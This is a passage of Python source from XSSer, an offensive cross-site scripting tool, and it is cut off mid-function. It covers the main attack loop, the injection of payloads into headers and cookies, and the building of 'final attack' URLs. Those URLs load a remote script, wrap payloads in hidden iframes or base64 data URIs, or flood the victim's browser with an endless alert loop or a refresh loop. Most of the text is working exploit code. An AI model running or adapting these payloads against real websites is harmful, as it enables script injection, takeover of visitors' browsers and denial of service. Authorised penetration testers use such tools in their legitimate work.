  2755. if self.options.xst: # check for cross site tracing
  2756. p = self.optionParser
  2757. if not self.options.target:
  2758. self.report('='*75)
  2759. self.report(str(p.version))
  2760. self.report('='*75)
  2761. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  2762. self.report('='*75)
  2763. self.check_trace()
  2764. if self.options.reversecheck or self.options.dom: # generate headless embed web browser
  2765. self.driver = self.create_headless_embed_browser()
  2766. if options.checktor:
  2767. url = self.check_tor_url # TOR status checking site
  2768. print('='*75)
  2769. print("")
  2770. print(" _ ")
  2771. print(" /_/_ .'''. ")
  2772. print(" =O(_)))) ...' `. ")
  2773. print(" \_\ `. .'''")
  2774. print(" `..' ")
  2775. print("")
  2776. print('='*75)
  2777. agents = [] # user-agents
  2778. try:
  2779. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2780. except:
  2781. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2782. for line in f:
  2783. agents.append(line)
  2784. agent = random.choice(agents).strip() # set random user-agent
  2785. referer = "127.0.0.1"
  2786. print("\n[Info] Sending request to: " + url + "\n")
  2787. print("-"*25+"\n")
  2788. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2789. try:
  2790. req = urllib.request.Request(url, None, headers)
  2791. tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
  2792. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2793. if not tor_reply or 'Congratulations' not in tor_reply:
  2794. print("It seems that Tor is not properly set.\n")
  2795. print("IP address appears to be: " + your_ip + "\n")
  2796. else:
  2797. print("Congratulations!. Tor is properly being used :-)\n")
  2798. print("IP address appears to be: " + your_ip + "\n")
  2799. except:
  2800. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2801. sys.exit(2) # return
  2802. # step 0: get workers
  2803. nthreads = max(1, abs(options.threads))
  2804. nworkers = len(self.pool.workers)
  2805. if nthreads != nworkers:
  2806. if nthreads < nworkers:
  2807. self.pool.dismissWorkers(nworkers-nthreads)
  2808. else:
  2809. self.pool.createWorkers(nthreads-nworkers)
  2810. for reporter in self._reporters:
  2811. reporter.report_state('scanning')
  2812. # step 1: get urls
  2813. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
  2814. for reporter in self._reporters:
  2815. reporter.report_state('arming')
  2816. # step 2: get payloads
  2817. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
  2818. for reporter in self._reporters:
  2819. reporter.report_state('cloaking')
  2820. if options.Dwo:
  2821. payloads = self.process_payloads_ipfuzzing(payloads)
  2822. elif options.Doo:
  2823. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2824. for reporter in self._reporters:
  2825. reporter.report_state('locking targets')
  2826. # step 3: get query string
  2827. query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
  2828. for reporter in self._reporters:
  2829. reporter.report_state('sanitize')
  2830. urls = self.sanitize_urls(urls)
  2831. for reporter in self._reporters:
  2832. reporter.report_state('attack')
  2833. # step 4: perform attack
  2834. self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
  2835. for reporter in self._reporters:
  2836. reporter.report_state('reporting')
  2837. if len(self.final_attacks):
  2838. self.report("[Info] Waiting for tokens to arrive...")
  2839. while self._ongoing_requests and not self._landing:
  2840. if not self.pool:
  2841. self.mothership.poll_workers()
  2842. else:
  2843. self.poll_workers()
  2844. time.sleep(0.2)
  2845. for reporter in self._reporters:
  2846. reporter.report_state('final sweep...')
  2847. if self.pool:
  2848. self.pool.dismissWorkers(len(self.pool.workers))
  2849. self.pool.joinAllDismissedWorkers()
  2850. start = time.time()
  2851. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2852. time.sleep(0.2)
  2853. for reporter in self._reporters:
  2854. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2855. if self.final_attacks and self.options.reversecheck: # try a --reverse-check
  2856. final_attack_payloads = []
  2857. self.report("="*45)
  2858. self.report("[*] Reverse Check(s) Results:")
  2859. self.report("="*45 + "\n")
  2860. for final_attack in self.final_attacks.values():
  2861. if final_attack not in final_attack_payloads:
  2862. final_attack_payloads.append(final_attack)
  2863. for final in final_attack_payloads:
  2864. if self.hash_found:
  2865. for l in self.hash_found:
  2866. hashing = l[3]
  2867. for k, v in final.items():
  2868. if 'success/'+hashing in v: # find XSS "remote poison" payload!
  2869. if not self.options.postdata: # GET
  2870. self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
  2871. else: # POST
  2872. self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
  2873. if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
  2874. v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
  2875. if "<script>document.location=document.location.hash.substring(1)</script>" in v:
  2876. v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  2877. self.report(v , "\n")
  2878. self.report("-"*25+"\n")
  2879. self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
  2880. if self.token_arrived_flag == True and self.token_arrived_hash:
  2881. self.report("[Info] Validating HASHES:\n")
  2882. if self.success_arrived_flag == False:
  2883. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
  2884. else:
  2885. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
  2886. self.report("-"*25+"\n")
  2887. if self.options.postdata: # POST
  2888. self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
  2889. else: # GET
  2890. self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
  2891. self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
  2892. else:
  2893. self.report("[Error] Remote XSS exploit [--reverse-check] has FAILED! -> [PASSING!]\n")
  2894. self.report("-"*25+"\n")
  2895. if self.options.reversecheck or self.options.dom:
  2896. try:
  2897. self.driver.close() # end headless embed web browser driver!
  2898. except:
  2899. try:
  2900. self.driver.quit() # try quit()
  2901. except:
  2902. pass
  2903. for reporter in self._reporters:
  2904. reporter.end_attack() # end reports
  2905. if self.mothership:
  2906. self.mothership.remove_reporter(self) # end mothership
  2907. if self.hub:
  2908. self.land() # end token hub server
  2909. self.print_results()
  2910. def sanitize_urls(self, urls):
  2911. all_urls = set()
  2912. if urls is not None:
  2913. for url in urls:
  2914. if url.startswith("http://") or url.startswith("https://"):
  2915. self.urlspoll.append(url)
  2916. all_urls.add(url)
  2917. else:
  2918. if self.options.crawling:
  2919. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2920. else:
  2921. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2922. url = None
  2923. else:
  2924. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2925. return all_urls
  2926. def land(self, join=False):
  2927. self._landing = True
  2928. if self.hub:
  2929. self.hub.shutdown()
  2930. if join:
  2931. self.hub.join()
  2932. self.hub = None
  2933. def _prepare_extra_attacks(self, payload):
  2934. """
  2935. Setup extra attacks.
  2936. """
  2937. options = self.options
  2938. agents = [] # user-agents
  2939. try:
  2940. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2941. except:
  2942. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2943. for line in f:
  2944. agents.append(line)
  2945. extra_agent = random.choice(agents).strip() # set random user-agent
  2946. extra_referer = "127.0.0.1"
  2947. extra_cookie = None
  2948. if self.options.script:
  2949. if 'XSS' in payload['payload']:
  2950. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2951. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2952. if options.xsa:
  2953. hashing = self.generate_hash('xsa')
  2954. agent = payload['payload'].replace('PAYLOAD', hashing)
  2955. self._ongoing_attacks['xsa'] = hashing
  2956. self.xsa_injection = self.xsa_injection + 1
  2957. self.options.agent = agent
  2958. extra_agent = agent
  2959. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  2960. if options.xsr:
  2961. hashing = self.generate_hash('xsr')
  2962. referer = payload['payload'].replace('PAYLOAD', hashing)
  2963. self._ongoing_attacks['xsr'] = hashing
  2964. self.xsr_injection = self.xsr_injection + 1
  2965. self.options.referer = referer
  2966. extra_referer = referer
  2967. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  2968. if options.coo:
  2969. hashing = self.generate_hash('cookie')
  2970. cookie = payload['payload'].replace('PAYLOAD', hashing)
  2971. self._ongoing_attacks['coo'] = hashing
  2972. self.coo_injection = self.coo_injection + 1
  2973. self.options.cookie = cookie
  2974. extra_cookie = cookie
  2975. self.extra_hashed_injections[hashing] = "COO", payload['payload']
  2976. return extra_agent, extra_referer, extra_cookie
  2977. def attack(self, urls, payloads, query_string):
  2978. """
  2979. Perform an attack on the given urls with the provided payloads and
  2980. query_string.
  2981. """
  2982. for url in urls:
  2983. if self.pool:
  2984. self.poll_workers()
  2985. else:
  2986. self.mothership.poll_workers()
  2987. if not self._landing:
  2988. self.attack_url(url, payloads, query_string)
  2989. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2990. """
  2991. Generate a real attack url using data from a successful test.
  2992. This method also applies DOM stealth mechanisms.
  2993. """
  2994. user_attack_payload = payload['payload']
  2995. if self.options.finalpayload:
  2996. user_attack_payload = self.options.finalpayload
  2997. elif self.options.finalremote:
  2998. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  2999. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  3000. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  3001. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  3002. user_attack_payload = self.options.finalpayload
  3003. if self.options.dos:
  3004. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  3005. if self.options.doss:
  3006. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  3007. if self.options.b64:
  3008. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  3009. if self.options.onm:
  3010. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  3011. if self.options.ifr:
  3012. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  3013. do_anchor_payload = self.options.anchor
  3014. anchor_data = None
  3015. attack_hash = None
  3016. if do_anchor_payload: # DOM Shadows!
  3017. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3018. dest_url = dest_url.replace('?', '#')
  3019. else:
  3020. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3021. if attack_hash:
  3022. self.final_attacks[attack_hash] = {'url':dest_url}
  3023. return dest_url
  3024. def token_arrived(self, attack_hash):
  3025. if not self.mothership: # only mothership calls on token arrival
  3026. self.final_attack_callback(attack_hash)
  3027. def final_attack_callback(self, attack_hash):
  3028. if attack_hash in self.final_attacks:
  3029. dest_url = self.final_attacks[attack_hash]['url']
  3030. for reporter in self._reporters:
  3031. reporter.add_checked(dest_url)
  3032. if self._reporter:
  3033. from twisted.internet import reactor
  3034. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  3035. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3036. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  3037. return real_attack_url
  3038. def report(self, *args):
  3039. args = list([str(s) for s in args])
  3040. formatted = " ".join(args)
  3041. if not self.options.silent:
  3042. print(formatted)
  3043. for reporter in self._reporters:
  3044. reporter.post(formatted)
  3045. def print_results(self):
  3046. """
  3047. Print results from attack.
  3048. """
  3049. self.report('='*75)
  3050. total_injections = len(self.hash_found) + len(self.hash_notfound)
  3051. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3052. pass
  3053. elif self.options.heuristic:
  3054. pass
  3055. else:
  3056. self.report("[*] Final Results:")
  3057. self.report('='*75 + '\n')
  3058. self.report("- Injections:", total_injections)
  3059. self.report("- Failed:", len(self.hash_notfound))
  3060. self.report("- Successful:", len(self.hash_found))
  3061. try:
  3062. _accur = len(self.hash_found) * 100 / total_injections
  3063. except ZeroDivisionError:
  3064. _accur = 0
  3065. self.report("- Accur: %s %%\n" % _accur)
  3066. if not len(self.hash_found) and self.hash_notfound:
  3067. self.report('='*75 + '\n')
  3068. pass
  3069. else:
  3070. self.report('='*75)
  3071. self.report("[*] List of XSS injections:")
  3072. self.report('='*75 + '\n')
  3073. if len(self.hash_found) > 1:
  3074. if len(self.token_arrived_hashes) > 0:
  3075. if len(self.hash_found) == len(self.token_arrived_hashes):
  3076. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
  3077. else:
  3078. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3079. else:
  3080. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3081. else:
  3082. if len(self.token_arrived_hashes) > 0:
  3083. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
  3084. else:
  3085. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
  3086. self.report("---------------------" + "\n")
  3087. if self.options.fileoutput:
  3088. fout = open("XSSreport.raw", "w") # write better than append
  3089. for line in self.hash_found:
  3090. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  3091. pass
  3092. else:
  3093. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  3094. if line[2] == "XSR":
  3095. self.xsr_found = self.xsr_found + 1
  3096. if len(self.hash_found) < 11:
  3097. if line[4]: # when query string
  3098. self.report("[+] Target:", line[6] + " | " + line[4])
  3099. else:
  3100. self.report("[+] Target:", line[6])
  3101. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3102. self.report("[!] Method: Referer Injection")
  3103. self.report("[*] Hash:", line[3])
  3104. self.report("[*] Payload:", str(Curl.referer))
  3105. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3106. if self.options.fileoutput:
  3107. fout.write("="*75)
  3108. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3109. fout.write("="*75 + "\n\n")
  3110. for h in self.hash_found:
  3111. if h[2] == "XSR":
  3112. if h[4]:
  3113. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3114. else:
  3115. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3116. fout.write("="*75 + "\n\n")
  3117. elif line[2] == "XSA":
  3118. self.xsa_found = self.xsa_found + 1
  3119. if len(self.hash_found) < 11:
  3120. if line[4]: # when query string
  3121. self.report("[+] Target:", line[6] + " | " + line[4])
  3122. else:
  3123. self.report("[+] Target:", line[6])
  3124. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3125. self.report("[!] Method: User-Agent Injection")
  3126. self.report("[*] Hash:", line[3])
  3127. self.report("[*] Payload:", str(Curl.agent))
  3128. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3129. if self.options.fileoutput:
  3130. fout.write("="*75)
  3131. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3132. fout.write("="*75 + "\n\n")
  3133. for h in self.hash_found:
  3134. if h[2] == "XSA":
  3135. if h[4]:
  3136. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3137. else:
  3138. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3139. fout.write("="*75 + "\n\n")
  3140. elif line[2] == "COO":
  3141. self.coo_found = self.coo_found + 1
  3142. if len(self.hash_found) < 11:
  3143. if line[4]: # when query string
  3144. self.report("[+] Target:", line[6] + " | " + line[4])
  3145. else:
  3146. self.report("[+] Target:", line[6])
  3147. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3148. self.report("[!] Method: Cookie Injection")
  3149. self.report("[*] Hash:", line[3])
  3150. self.report("[*] Payload:", str(Curl.cookie))
  3151. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3152. if self.options.fileoutput:
  3153. fout.write("="*75)
  3154. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3155. fout.write("="*75 + "\n\n")
  3156. for h in self.hash_found:
  3157. if h[2] == "COO":
  3158. if h[4]:
  3159. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3160. else:
  3161. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3162. fout.write("="*75 + "\n\n")
  3163. elif line[1] == "[Data Control Protocol Injection]":
  3164. self.dcp_found = self.dcp_found + 1
  3165. if len(self.hash_found) < 11:
  3166. if line[4]: # when query string
  3167. self.report("[+] Target:", line[6] + " | " + line[4])
  3168. else:
  3169. self.report("[+] Target:", line[6])
  3170. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3171. self.report("[!] Method: DCP")
  3172. self.report("[*] Hash:", line[3])
  3173. self.report("[*] Payload:", line[0])
  3174. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  3175. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3176. self.report("[*] Final Attack:", attack_url)
  3177. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3178. if self.options.fileoutput:
  3179. fout.write("="*75)
  3180. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3181. fout.write("="*75 + "\n\n")
  3182. for h in self.hash_found:
  3183. if h[4]:
  3184. if h[1] == "[Data Control Protocol Injection]":
  3185. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3186. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3187. else:
  3188. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3189. else:
  3190. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3191. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3192. else:
  3193. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3194. fout.write("="*75 + "\n\n")
  3195. elif line[1] == "[Document Object Model Injection]":
  3196. self.dom_found = self.dom_found + 1
  3197. if len(self.hash_found) < 11:
  3198. if line[4]: # when query string
  3199. self.report("[+] Target:", line[6] + " | " + line[4])
  3200. else:
  3201. self.report("[+] Target:", line[6])
  3202. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3203. self.report("[!] Method: DOM")
  3204. self.report("[*] Hash:", line[3])
  3205. self.report("[*] Payload:", line[0])
  3206. self.report("[!] Vulnerable: DOM (Document Object Model)")
  3207. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3208. self.report("[*] Final Attack:", attack_url)
  3209. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3210. if self.options.fileoutput:
  3211. fout.write("="*75)
  3212. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3213. fout.write("="*75 + "\n\n")
  3214. for h in self.hash_found:
  3215. if h[1] == "[Document Object Model Injection]":
  3216. if h[4]:
  3217. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3218. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3219. else:
  3220. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3221. else:
  3222. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3223. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3224. else:
  3225. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3226. fout.write("="*75 + "\n\n")
  3227. elif line[1] == "[Induced Injection]":
  3228. self.httpsr_found = self.httpsr_found +1
  3229. if len(self.hash_found) < 11:
  3230. if line[4]: # when query string
  3231. self.report("[+] Target:", line[6] + " | " + line[4])
  3232. else:
  3233. self.report("[+] Target:", line[6])
  3234. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3235. self.report("[!] Method: INDUCED")
  3236. self.report("[*] Hash:", line[3])
  3237. self.report("[*] Payload:", line[0])
  3238. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  3239. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3240. self.report("[*] Final Attack:", attack_url)
  3241. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3242. if self.options.fileoutput:
  3243. fout.write("="*75)
  3244. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3245. fout.write("="*75 + "\n\n")
  3246. for h in self.hash_found:
  3247. if h[4]:
  3248. if h[1] == "[Induced Injection]":
  3249. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3250. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3251. else:
  3252. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3253. else:
  3254. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3255. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3256. else:
  3257. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3258. fout.write("="*75 + "\n\n")
  3259. elif line[1] == "[hashing check]":
  3260. if len(self.hash_found) < 11:
  3261. if line[4]:
  3262. self.report("[+] Target:", line[6] + " | " + line[4])
  3263. else:
  3264. self.report("[+] Target:", line[6])
  3265. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3266. self.report("[!] Method:", line[2])
  3267. self.report("[*] Payload:", line[5])
  3268. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3269. if self.options.fileoutput:
  3270. fout.write("="*75)
  3271. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3272. fout.write("="*75 + "\n\n")
  3273. for h in self.hash_found:
  3274. if h[1] == "[hashing check]":
  3275. if h[4]:
  3276. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3277. else:
  3278. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3279. fout.write("="*75 + "\n\n")
  3280. elif line[1] == "[manual_injection]":
  3281. self.manual_found = self.manual_found + 1
  3282. if len(self.hash_found) < 11:
  3283. if line[4]: # when query string
  3284. self.report("[+] Target:", line[6] + " | " + line[4])
  3285. else:
  3286. self.report("[+] Target:", line[6])
  3287. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3288. self.report("[!] Method: MANUAL")
  3289. self.report("[*] Hash:", line[3])
  3290. self.report("[*] Payload:", line[0])
  3291. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3292. self.report("[*] Final Attack:", attack_url)
  3293. if self.token_arrived_flag == True:
  3294. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3295. else:
  3296. if self.options.reversecheck:
  3297. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3298. else:
  3299. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3300. if self.options.fileoutput:
  3301. fout.write("="*75)
  3302. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3303. fout.write("="*75 + "\n\n")
  3304. for line in self.hash_found:
  3305. if line[4]:
